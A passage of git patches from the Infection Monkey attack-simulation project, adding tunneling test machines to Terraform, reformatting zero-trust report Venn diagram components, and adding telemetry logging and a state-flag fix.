network = "${google_compute_network.tunneling2.self_link}" +} + resource "google_compute_instance_from_template" "hadoop-2" { name = "hadoop-2" source_instance_template = "${local.default_ubuntu}" @@ -149,7 +160,6 @@ resource "google_compute_instance_from_template" "tunneling-9" { network_interface{ subnetwork="tunneling-main" network_ip="10.2.1.9" - } network_interface{ subnetwork="monkeyzoo-main" @@ -170,6 +180,25 @@ resource "google_compute_instance_from_template" "tunneling-10" { subnetwork="tunneling-main" network_ip="10.2.1.10" } + network_interface{ + subnetwork="tunneling2-main" + network_ip="10.2.0.10" + } +} + +resource "google_compute_instance_from_template" "tunneling-11" { + name = "tunneling-11" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.tunneling-11.self_link}" + } + auto_delete = true + } + network_interface{ + subnetwork="tunneling2-main" + network_ip="10.2.0.11" + } } resource "google_compute_instance_from_template" "sshkeys-11" { @@ -428,4 +457,4 @@ resource "google_compute_instance_from_template" "island-windows-251" { // network_tier = "STANDARD" } } -} \ No newline at end of file +} From 79fabb1ac1e3018dda1942913f5d582bfa8b646d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 25 Aug 2019 18:49:57 +0300 Subject: [PATCH 152/276] Whitespace fixes --- .../zerotrust/venn-components/VennDiagram.js | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js index 1e0be3b16..f238b7f63 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js @@ -85,7 +85,6 @@ class VennDiagram extends React.Component{ document.querySelectorAll('circle, path').forEach((d_, i_) => { d_.setAttribute('opacity', 0.8)}); if(e.target.id.includes('Node')) { - html = e.target.dataset.tooltip; this.divElement.style.cursor = 'pointer'; hidden = 'block'; e.target.setAttribute('opacity', 0.95); @@ -93,14 +92,11 @@ class VennDiagram extends React.Component{ // Set highest z-index e.target.parentNode.parentNode.appendChild(e.target.parentNode); - - }else{ - + } else { this.divElement.style.cursor = 'default'; // Return z indices to default Object.keys(this.layout).forEach(function(d_, i_){ document.querySelector('#' + self.prefix).appendChild(document.querySelector('#' + self.prefix + 'Node_' + i_).parentNode); }) - } this.setState({target: e, tooltip: { target: e.target, bcolor: bcolor, top: e.clientY + 8, left: e.clientX + 8, display: hidden, html: html } }); @@ -145,8 +141,7 @@ class VennDiagram extends React.Component{ buildTooltipHtmlContent(object_){ return Object.keys(object_).reduce((out_, key_) => out_ + TypographicUtilities.setTitle(key_) + ': ' + object_[key_] + '\n', ''); } - setLayoutElement(rule_, key_, html_, d_){ - console.log(rule_, key_, html_, d_); + setLayoutElement(rule_, key_, html_, d_) { if(rule_ == null) { throw Error('The node scores are invalid'); } if(key_ === 'Data'){ this.layout[key_].fontStyle = this.fontStyles[0]; } From 7e0b85a34d1f765b93cae319860117b1fcec0588 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sun, 25 Aug 2019 18:58:34 +0300 Subject: [PATCH 153/276] Improved description of T1090 connection proxy --- .../monkey_island/cc/services/attack/technique_reports/T1090.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py index f0835aff9..7a6c830b8 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -10,7 +10,7 @@ class T1090(AttackTechnique): tech_id = "T1090" unscanned_msg = "Monkey didn't use connection proxy." scanned_msg = "" - used_msg = "Monkey used connection proxy." + used_msg = "Monkey used connection proxy to communicate with machines on the network." @staticmethod def get_report_data(): From f0d43e033e7eff3933036daa76e3e1f21219af4b Mon Sep 17 00:00:00 2001 From: vkuchinov Date: Mon, 26 Aug 2019 08:12:51 +0300 Subject: [PATCH 154/276] Update ArcNode.js HAve returned missing labels --- .../report-components/zerotrust/venn-components/ArcNode.js | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js index 1306ecc54..506ec0b7d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js @@ -9,13 +9,14 @@ class ArcNode extends React.Component{ let {prefix, index, data} = this.props; let arc = d3.arc().innerRadius(data.inner).outerRadius(data.outer).startAngle(0).endAngle(Math.PI * 2.0); + let id = prefix + 'Node_' + index; return ( - + {data.label} From 9367b6ce8e2357857cbabfaccd785c873324a05b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 26 Aug 2019 09:20:59 +0300 Subject: [PATCH 155/276] Fixed arcnode text bug + formatting --- .../zerotrust/venn-components/ArcNode.js | 58 ++- .../zerotrust/venn-components/CircularNode.js | 81 ++-- .../venn-components/ResponsiveVennDiagram.js | 43 +- .../zerotrust/venn-components/Tooltip.js | 74 ++-- .../zerotrust/venn-components/Utility.js | 17 +- .../zerotrust/venn-components/VennDiagram.css | 17 +- .../zerotrust/venn-components/VennDiagram.js | 390 ++++++++++-------- 7 files changed, 358 insertions(+), 322 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js index 1306ecc54..95d86db2f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js @@ -2,43 +2,37 @@ import React from 'react' import PropTypes from 'prop-types'; import * as d3 from 'd3' -class ArcNode extends React.Component{ - - render() { +class ArcNode extends React.Component { + render() { + let {prefix, index, data} = this.props; - let {prefix, index, data} = this.props; + let arc = d3.arc().innerRadius(data.inner).outerRadius(data.outer).startAngle(0).endAngle(Math.PI * 2.0); + let id = prefix + 'Node_' + index; - let arc = d3.arc().innerRadius(data.inner).outerRadius(data.outer).startAngle(0).endAngle(Math.PI * 2.0); - - return ( - - - + - - - {data.label} - - - + id={prefix + 'Node_' + index} + className={'arcNode'} + data-tooltip={data.tooltip} + d={arc()} + fill={data.hex} - ) - - } - + /> + + + {data.label} + + + + ); + } } ArcNode.propTypes = { + data: PropTypes.object +}; - data: PropTypes.object - -} - -export default ArcNode; \ No newline at end of file +export default ArcNode; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js index 8d8df10bf..43ef529f3 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js @@ -1,56 +1,43 @@ import React from 'react' import PropTypes from 'prop-types'; -class CircularNode extends React.Component{ - - render() { +class CircularNode extends React.Component { + render() { + let {prefix, index, data} = this.props; - let {prefix, index, data} = this.props; + let tspans = data.label.split("|").map((d_, i_) => { + let halfTextHeight = data.fontStyle.size * data.label.split("|").length / 2; + let key = 'vennDiagramCircularNode' + index + '_Tspan' + i_; - let tspans = data.label.split("|").map((d_, i_) =>{ - - let halfTextHeight = data.fontStyle.size * data.label.split("|").length / 2; - let key = 'vennDiagramCircularNode' + index + '_Tspan' + i_; - - return ( - - {d_} - - ) - - }) - - let translate = 'translate(' + data.cx + ',' + data.cy + ')'; - - return ( - - - - - {tspans} - - - - ) - - } - + return ( + {d_} + ); + }); + + let translate = 'translate(' + data.cx + ',' + data.cy + ')'; + + return ( + + + + {tspans} + + + ); + } } CircularNode.propTypes = { - - index: PropTypes.number, - data: PropTypes.object - -} + index: PropTypes.number, + data: PropTypes.object +}; -export default CircularNode; \ No newline at end of file +export default CircularNode; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js index d20abf94a..8cf096d69 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js @@ -6,31 +6,30 @@ import VennDiagram from './VennDiagram' const VENN_MIN_WIDTH = '300px'; class ResponsiveVennDiagram extends React.Component { - - constructor(props) { super(props); } - - render() { - - const {pillarsGrades} = this.props; - let childrenWidth = this.props.containerWidth, childrenHeight = this.props.containerHeight; - - if(childrenHeight === 0 || isNaN(childrenHeight)){ childrenHeight = childrenWidth; } - else{ childrenWidth = Math.min(childrenWidth, childrenHeight) } - - return ( - -
    - -
    ) - + constructor(props) { + super(props); + } + + render() { + const {pillarsGrades} = this.props; + let childrenWidth = this.props.containerWidth, childrenHeight = this.props.containerHeight; + + if (childrenHeight === 0 || isNaN(childrenHeight)) { + childrenHeight = childrenWidth; + } else { + childrenWidth = Math.min(childrenWidth, childrenHeight) + } + + return ( +
    + +
    + ); } - } ResponsiveVennDiagram.propTypes = { - - pillarsGrades: PropTypes.array - -} + pillarsGrades: PropTypes.array +}; export default Dimensions()(ResponsiveVennDiagram); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Tooltip.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Tooltip.js index 579b36a5b..e103af3c3 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Tooltip.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Tooltip.js @@ -1,49 +1,43 @@ import React from 'react' import PropTypes from 'prop-types'; -class Tooltip extends React.Component{ +class Tooltip extends React.Component { - render() { - - const {prefix, bcolor, top, left, display, html } = this.props; + render() { + const {prefix, bcolor, top, left, display, html} = this.props; - const style = { - - backgroundColor: bcolor, - border : '1px solid #FFFFFF', - borderRadius: '2px', - fontSize: 10, - padding: 8, - display, - opacity: 0.9, - position: 'fixed', - top, - left, - pointerEvents: 'none' - - }; + const style = { + backgroundColor: bcolor, + border: '1px solid #FFFFFF', + borderRadius: '2px', + fontSize: 10, + padding: 8, + display, + opacity: 0.9, + position: 'fixed', + top, + left, + pointerEvents: 'none' + }; - return ( - -
    - {html.split('\n').map((i_, key_) => { return
    {i_}
    ; })} -
    - - ); - - } - + return ( + +
    + {html.split('\n').map((i_, key_) => { + return
    {i_}
    ; + })} +
    + ); + } } Tooltip.propTypes = { - - prefix: PropTypes.string, - bcolor: PropTypes.string, - top: PropTypes.number, - left: PropTypes.number, - display: PropTypes.string, - html: PropTypes.string - -} - -export default Tooltip; \ No newline at end of file + prefix: PropTypes.string, + bcolor: PropTypes.string, + top: PropTypes.number, + left: PropTypes.number, + display: PropTypes.string, + html: PropTypes.string +}; + +export default Tooltip; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js index c9816c721..230e277f6 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js @@ -1,8 +1,15 @@ export class TypographicUtilities { - - static removeAmpersand(string_) { return string_.replace(' & ', 'And'); } - static removeBrokenBar(string_) { return string_.replace(/\|/g, ' '); } - static setTitle(string_) { return string_.charAt(0).toUpperCase() + string_.substr(1).toLowerCase(); } + + static removeAmpersand(string_) { + return string_.replace(' & ', 'And'); + } + + static removeBrokenBar(string_) { + return string_.replace(/\|/g, ' '); + } + + static setTitle(string_) { + return string_.charAt(0).toUpperCase() + string_.substr(1).toLowerCase(); + } } - \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css index 6c7cd778e..dd4883125 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css @@ -1,14 +1,17 @@ @import url('https://fonts.googleapis.com/css?family=Noto+Sans&display=swap'); -body { margin: 0; font-family: "Noto Sans", sans-serif; } +body { + margin: 0; + font-family: "Noto Sans", sans-serif; +} svg { - -webkit-touch-callout: none; /* iOS Safari */ - -webkit-user-select: none; /* Safari */ - -khtml-user-select: none; /* Konqueror HTML */ - -moz-user-select: none; /* Firefox */ - -ms-user-select: none; /* Internet Explorer/Edge */ - user-select: none; /* Non-prefixed version, currently supported by Chrome and Opera */ + -webkit-touch-callout: none; /* iOS Safari */ + -webkit-user-select: none; /* Safari */ + -khtml-user-select: none; /* Konqueror HTML */ + -moz-user-select: none; /* Firefox */ + -ms-user-select: none; /* Internet Explorer/Edge */ + user-select: none; /* Non-prefixed version, currently supported by Chrome and Opera */ } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js index f238b7f63..2b36266c0 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js @@ -3,201 +3,253 @@ import PropTypes from 'prop-types' import Tooltip from './Tooltip' import CircularNode from './CircularNode' import ArcNode from './ArcNode' -import { TypographicUtilities } from './Utility.js' +import {TypographicUtilities} from './Utility.js' import './VennDiagram.css' -class VennDiagram extends React.Component{ - constructor(props_){ - super(props_); +class VennDiagram extends React.Component { + constructor(props_) { + super(props_); - this.state = { tooltip: { top: 0, left: 0, display: 'none', html: '' } }; + this.state = {tooltip: {top: 0, left: 0, display: 'none', html: ''}}; - this.width = this.height = 512; - this.zOrder = []; + this.width = this.height = 512; + this.zOrder = []; - this.colors = ['#777777', '#D9534F', '#F0AD4E', '#5CB85C']; - this.prefix = 'vennDiagram'; - this.suffices = ['', '|tests are|conclusive', '|tests were|inconclusive', '|tests|performed']; - this.fontStyles = [{size: Math.max(9, this.width / 32), color: 'white'}, {size: Math.max(6, this.width / 52), color: 'black'}]; - this.offset = this.width / 16; + this.colors = ['#777777', '#D9534F', '#F0AD4E', '#5CB85C']; + this.prefix = 'vennDiagram'; + this.suffices = ['', '|tests are|conclusive', '|tests were|inconclusive', '|tests|performed']; + this.fontStyles = [{size: Math.max(9, this.width / 32), color: 'white'}, { + size: Math.max(6, this.width / 52), + color: 'black' + }]; + this.offset = this.width / 16; - this.thirdWidth = this.width / 3; - this.sixthWidth = this.width / 6; - this.width2By7 = 2 * this.width / 7; - this.width1By11 = this.width / 11; - this.width1By28 = this.width / 28; + this.thirdWidth = this.width / 3; + this.sixthWidth = this.width / 6; + this.width2By7 = 2 * this.width / 7; + this.width1By11 = this.width / 11; + this.width1By28 = this.width / 28; - this.toggle = false; + this.toggle = false; - this.layout = { - Data: { cx: 0, cy: 0, r: this.thirdWidth - this.offset * 2, offset: {x: 0, y: 0} }, - People: { cx: -this.width2By7, cy: 0, r: this.sixthWidth, offset: {x: this.width1By11, y: 0} }, - Networks: { cx: this.width2By7, cy: 0, r: this.sixthWidth, offset: {x: -this.width1By11, y: 0} }, - Devices: { cx: 0, cy: this.width2By7, r: this.sixthWidth, offset: {x: 0, y: -this.width1By11} }, - Workloads : { cx: 0, cy: -this.width2By7, r: this.sixthWidth, offset: {x: 0, y: this.width1By11} }, - VisibilityAndAnalytics : { inner: this.thirdWidth - this.width1By28, outer: this.thirdWidth }, - AutomationAndOrchestration: { inner: this.thirdWidth - this.width1By28 * 2, outer: this.thirdWidth - this.width1By28 } - }; + this.layout = { + Data: {cx: 0, cy: 0, r: this.thirdWidth - this.offset * 2, offset: {x: 0, y: 0}}, + People: {cx: -this.width2By7, cy: 0, r: this.sixthWidth, offset: {x: this.width1By11, y: 0}}, + Networks: {cx: this.width2By7, cy: 0, r: this.sixthWidth, offset: {x: -this.width1By11, y: 0}}, + Devices: {cx: 0, cy: this.width2By7, r: this.sixthWidth, offset: {x: 0, y: -this.width1By11}}, + Workloads: {cx: 0, cy: -this.width2By7, r: this.sixthWidth, offset: {x: 0, y: this.width1By11}}, + VisibilityAndAnalytics: {inner: this.thirdWidth - this.width1By28, outer: this.thirdWidth}, + AutomationAndOrchestration: { + inner: this.thirdWidth - this.width1By28 * 2, + outer: this.thirdWidth - this.width1By28 + } + }; - /* + /* - RULE #1: All scores have to be equal 0, except Unexecuted [U] which could be also a negative integer - sum(C, I, P) has to be <=0 + RULE #1: All scores have to be equal 0, except Unexecuted [U] which could be also a negative integer + sum(C, I, P) has to be <=0 - RULE #2: Conclusive [C] has to be > 0, - sum(C) > 0 + RULE #2: Conclusive [C] has to be > 0, + sum(C) > 0 - RULE #3: Inconclusive [I] has to be > 0 while Conclusive has to be 0, - sum(C, I) > 0 and C * I = 0, while C has to be 0 + RULE #3: Inconclusive [I] has to be > 0 while Conclusive has to be 0, + sum(C, I) > 0 and C * I = 0, while C has to be 0 - RULE #4: Positive [P] and Unexecuted have to be positive - sum(P, U) >= 2 and P * U = positive integer, while - if the P is bigger by 2 then negative U, first conditional - would be true. + RULE #4: Positive [P] and Unexecuted have to be positive + sum(P, U) >= 2 and P * U = positive integer, while + if the P is bigger by 2 then negative U, first conditional + would be true. - */ + */ - this.rules = [ + this.rules = [ - { id: 'Rule #1', f: function(d_){ return d_['Conclusive'] + d_['Inconclusive'] + d_['Positive'] === 0; } }, - { id: 'Rule #2', f: function(d_){ return d_['Conclusive'] > 0; } }, - { id: 'Rule #3', f: function(d_){ return d_['Conclusive'] === 0 && d_['Inconclusive'] > 0; } }, - { id: 'Rule #4', f: function(d_){ return d_['Positive'] + d_['Unexecuted'] >= 2 && d_['Positive'] * d_['Unexecuted'] > 0; } } - - ]; - - this._onScroll = this._onScroll.bind(this); - } - - componentDidMount() { - this.parseData(); - window.addEventListener('scroll', this._onScroll); - } - - _onMouseMove(e) { - let self = this; - - if(!this.toggle){ - let hidden = 'none'; - let html = ''; - let bcolor = '#DEDEDE'; - - document.querySelectorAll('circle, path').forEach((d_, i_) => { d_.setAttribute('opacity', 0.8)}); - - if(e.target.id.includes('Node')) { - html = e.target.dataset.tooltip; - this.divElement.style.cursor = 'pointer'; - hidden = 'block'; e.target.setAttribute('opacity', 0.95); - bcolor = e.target.getAttribute('fill'); - - // Set highest z-index - e.target.parentNode.parentNode.appendChild(e.target.parentNode); - } else { - this.divElement.style.cursor = 'default'; - - // Return z indices to default - Object.keys(this.layout).forEach(function(d_, i_){ document.querySelector('#' + self.prefix).appendChild(document.querySelector('#' + self.prefix + 'Node_' + i_).parentNode); }) - } - - this.setState({target: e, tooltip: { target: e.target, bcolor: bcolor, top: e.clientY + 8, left: e.clientX + 8, display: hidden, html: html } }); + { + id: 'Rule #1', f: function (d_) { + return d_['Conclusive'] + d_['Inconclusive'] + d_['Positive'] === 0; } - } + }, + { + id: 'Rule #2', f: function (d_) { + return d_['Conclusive'] > 0; + } + }, + { + id: 'Rule #3', f: function (d_) { + return d_['Conclusive'] === 0 && d_['Inconclusive'] > 0; + } + }, + { + id: 'Rule #4', f: function (d_) { + return d_['Positive'] + d_['Unexecuted'] >= 2 && d_['Positive'] * d_['Unexecuted'] > 0; + } + } - _onScroll(e){ + ]; + + this._onScroll = this._onScroll.bind(this); + } + + componentDidMount() { + this.parseData(); + window.addEventListener('scroll', this._onScroll); + } + + _onMouseMove(e) { + let self = this; + + if (!this.toggle) { + let hidden = 'none'; + let html = ''; + let bcolor = '#DEDEDE'; + + document.querySelectorAll('circle, path').forEach((d_, i_) => { + d_.setAttribute('opacity', "0.8"); + }); + + if (e.target.id.includes('Node')) { + html = e.target.dataset.tooltip; + this.divElement.style.cursor = 'pointer'; + hidden = 'block'; + e.target.setAttribute('opacity', 0.95); + bcolor = e.target.getAttribute('fill'); + + // Set highest z-index + e.target.parentNode.parentNode.appendChild(e.target.parentNode); + } else { this.divElement.style.cursor = 'default'; - this.setState({target: null, tooltip: { target: null, bcolor: 'none', top: 0, left: 0, display: 'none', html: '' } }); - } - _onClick(e) { - this.toggle = this.state.tooltip.target === e.target; + // Return z indices to default + Object.keys(this.layout).forEach(function (d_, i_) { + document.querySelector('#' + self.prefix).appendChild(document.querySelector('#' + self.prefix + 'Node_' + i_).parentNode); + }) + } - //variable to external callback - //e.target.parentNode.id) - } - - parseData(){ - let self = this; - let data = []; - const omit = (prop, { [prop]: _, ...rest }) => rest; - - this.props.pillarsGrades.forEach((d_, i_) => { - - let params = omit('pillar', d_); - let sum = Object.keys(params).reduce((sum_, key_) => sum_ + parseFloat(params[key_]||0), 0); - let key = TypographicUtilities.removeAmpersand(d_.pillar); - let html = self.buildTooltipHtmlContent(d_); - let rule = null; - - for(let j = 0; j < self.rules.length; j++){ if(self.rules[j].f(d_)) { rule = j; break; }} - - self.setLayoutElement(rule, key, html, d_); - data.push(this.layout[key]); - - }); - - this.setState({ data: data }); - this.render(); - } - - buildTooltipHtmlContent(object_){ return Object.keys(object_).reduce((out_, key_) => out_ + TypographicUtilities.setTitle(key_) + ': ' + object_[key_] + '\n', ''); } - - setLayoutElement(rule_, key_, html_, d_) { - if(rule_ == null) { throw Error('The node scores are invalid'); } - - if(key_ === 'Data'){ this.layout[key_].fontStyle = this.fontStyles[0]; } - else {this.layout[key_].fontStyle = this.fontStyles[1]; } - - this.layout[key_].hex = this.colors[rule_]; - this.layout[key_].label = d_.pillar + this.suffices[rule_]; - this.layout[key_].node = d_; - this.layout[key_].tooltip = html_; - } - - render() { - if(this.state.data === undefined) { return null; } - else { - // equivalent to center translate (width/2, height/2) - let viewPortParameters = (-this.width / 2) + ' ' + (-this.height / 2) + ' ' + this.width + ' ' + this.height; - let translate = 'translate(' + this.width /2 + ',' + this.height/2 + ')'; - - let nodes = Object.values(this.layout).map((d_, i_) => { - if(d_.hasOwnProperty('cx')) { - return ( - - ); - } else { - d_.label = TypographicUtilities.removeBrokenBar(d_.label); - - return ( - - ); - } - }); - - return ( -
    this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)} onClick={this._onClick.bind(this)} > - - {nodes} - - -
    - ) + this.setState({ + target: e, + tooltip: { + target: e.target, + bcolor: bcolor, + top: e.clientY + 8, + left: e.clientX + 8, + display: hidden, + html: html } + }); } + } + + _onScroll(e) { + this.divElement.style.cursor = 'default'; + this.setState({target: null, tooltip: {target: null, bcolor: 'none', top: 0, left: 0, display: 'none', html: ''}}); + } + + _onClick(e) { + this.toggle = this.state.tooltip.target === e.target; + + //variable to external callback + //e.target.parentNode.id) + } + + parseData() { + let self = this; + let data = []; + const omit = (prop, {[prop]: _, ...rest}) => rest; + + this.props.pillarsGrades.forEach((d_, i_) => { + + let params = omit('pillar', d_); + let sum = Object.keys(params).reduce((sum_, key_) => sum_ + parseFloat(params[key_] || 0), 0); + let key = TypographicUtilities.removeAmpersand(d_.pillar); + let html = self.buildTooltipHtmlContent(d_); + let rule = null; + + for (let j = 0; j < self.rules.length; j++) { + if (self.rules[j].f(d_)) { + rule = j; + break; + } + } + + self.setLayoutElement(rule, key, html, d_); + data.push(this.layout[key]); + + }); + + this.setState({data: data}); + this.render(); + } + + buildTooltipHtmlContent(object_) { + return Object.keys(object_).reduce((out_, key_) => out_ + TypographicUtilities.setTitle(key_) + ': ' + object_[key_] + '\n', ''); + } + + setLayoutElement(rule_, key_, html_, d_) { + if (rule_ == null) { + throw Error('The node scores are invalid'); + } + + if (key_ === 'Data') { + this.layout[key_].fontStyle = this.fontStyles[0]; + } else { + this.layout[key_].fontStyle = this.fontStyles[1]; + } + + this.layout[key_].hex = this.colors[rule_]; + this.layout[key_].label = d_.pillar + this.suffices[rule_]; + this.layout[key_].node = d_; + this.layout[key_].tooltip = html_; + } + + render() { + if (this.state.data === undefined) { + return null; + } else { + // equivalent to center translate (width/2, height/2) + let viewPortParameters = (-this.width / 2) + ' ' + (-this.height / 2) + ' ' + this.width + ' ' + this.height; + let translate = 'translate(' + this.width / 2 + ',' + this.height / 2 + ')'; + + let nodes = Object.values(this.layout).map((d_, i_) => { + if (d_.hasOwnProperty('cx')) { + return ( + + ); + } else { + d_.label = TypographicUtilities.removeBrokenBar(d_.label); + + return ( + + ); + } + }); + + return ( +
    this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)} + onClick={this._onClick.bind(this)}> + + {nodes} + + +
    + ) + } + } } VennDiagram.propTypes = { - pillarsGrades: PropTypes.array + pillarsGrades: PropTypes.array }; export default VennDiagram; From e4a03ce3e0b83df1d8c550d2d4391a5532a54430 Mon Sep 17 00:00:00 2001 From: vkuchinov Date: Mon, 26 Aug 2019 09:59:36 +0300 Subject: [PATCH 156/276] Removing rudimentary variables from ResponsiveVennDiagram and VennDiagram [x] childrenWidth/childrenHeight were removed, have beed used previously for non-responsive SVG [x] this.ZOrder array was removed, since there is another way of soring z-indices [x] translate was removed, since now it's the part of viewPortParameters string ((-this.width / 2) + ' ' + (-this.height / 2)) --- .../zerotrust/venn-components/ResponsiveVennDiagram.js | 7 ------- .../zerotrust/venn-components/VennDiagram.js | 2 -- 2 files changed, 9 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js index 8cf096d69..4b2069f06 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js @@ -12,13 +12,6 @@ class ResponsiveVennDiagram extends React.Component { render() { const {pillarsGrades} = this.props; - let childrenWidth = this.props.containerWidth, childrenHeight = this.props.containerHeight; - - if (childrenHeight === 0 || isNaN(childrenHeight)) { - childrenHeight = childrenWidth; - } else { - childrenWidth = Math.min(childrenWidth, childrenHeight) - } return (
    diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js index 2b36266c0..25e57c2dd 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js @@ -13,7 +13,6 @@ class VennDiagram extends React.Component { this.state = {tooltip: {top: 0, left: 0, display: 'none', html: ''}}; this.width = this.height = 512; - this.zOrder = []; this.colors = ['#777777', '#D9534F', '#F0AD4E', '#5CB85C']; this.prefix = 'vennDiagram'; @@ -208,7 +207,6 @@ class VennDiagram extends React.Component { } else { // equivalent to center translate (width/2, height/2) let viewPortParameters = (-this.width / 2) + ' ' + (-this.height / 2) + ' ' + this.width + ' ' + this.height; - let translate = 'translate(' + this.width / 2 + ',' + this.height / 2 + ')'; let nodes = Object.values(this.layout).map((d_, i_) => { if (d_.hasOwnProperty('cx')) { From f865c4b4b94638769b4e1aa6d29bee770bf0700d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 26 Aug 2019 14:08:18 +0300 Subject: [PATCH 157/276] Added sent telemetry logging. --- monkey/infection_monkey/telemetry/base_telem.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py index c232ab975..31d7332bd 100644 --- a/monkey/infection_monkey/telemetry/base_telem.py +++ b/monkey/infection_monkey/telemetry/base_telem.py @@ -1,7 +1,11 @@ import abc +import json +import logging from infection_monkey.control import ControlClient +logger = logging.getLogger(__name__) + __author__ = 'itay.mizeretz' @@ -19,7 +23,9 @@ class BaseTelem(object): """ Sends telemetry to island """ - ControlClient.send_telemetry(self.telem_category, self.get_data()) + data = self.get_data() + logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data))) + ControlClient.send_telemetry(self.telem_category, data) @abc.abstractproperty def telem_category(self): From fbb82f412b376626f3c43690a4d8a5f70268c89d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 26 Aug 2019 14:08:45 +0300 Subject: [PATCH 158/276] Fixed copy-pasta bug about state telemetry. --- monkey/infection_monkey/monkey.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 692e278fb..3cd20d9c2 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -113,7 +113,7 @@ class InfectionMonkey(object): if monkey_tunnel: monkey_tunnel.start() - StateTelem(False).send() + StateTelem(is_done=False).send() TunnelTelem().send() if WormConfiguration.collect_system_info: @@ -225,7 +225,7 @@ class InfectionMonkey(object): InfectionMonkey.close_tunnel() firewall.close() else: - StateTelem(False).send() # Signal the server (before closing the tunnel) + StateTelem(is_done=True).send() # Signal the server (before closing the tunnel) InfectionMonkey.close_tunnel() firewall.close() if WormConfiguration.send_log_to_server: From a9ba3273dddc4191c83413624010e392b8b33386 Mon 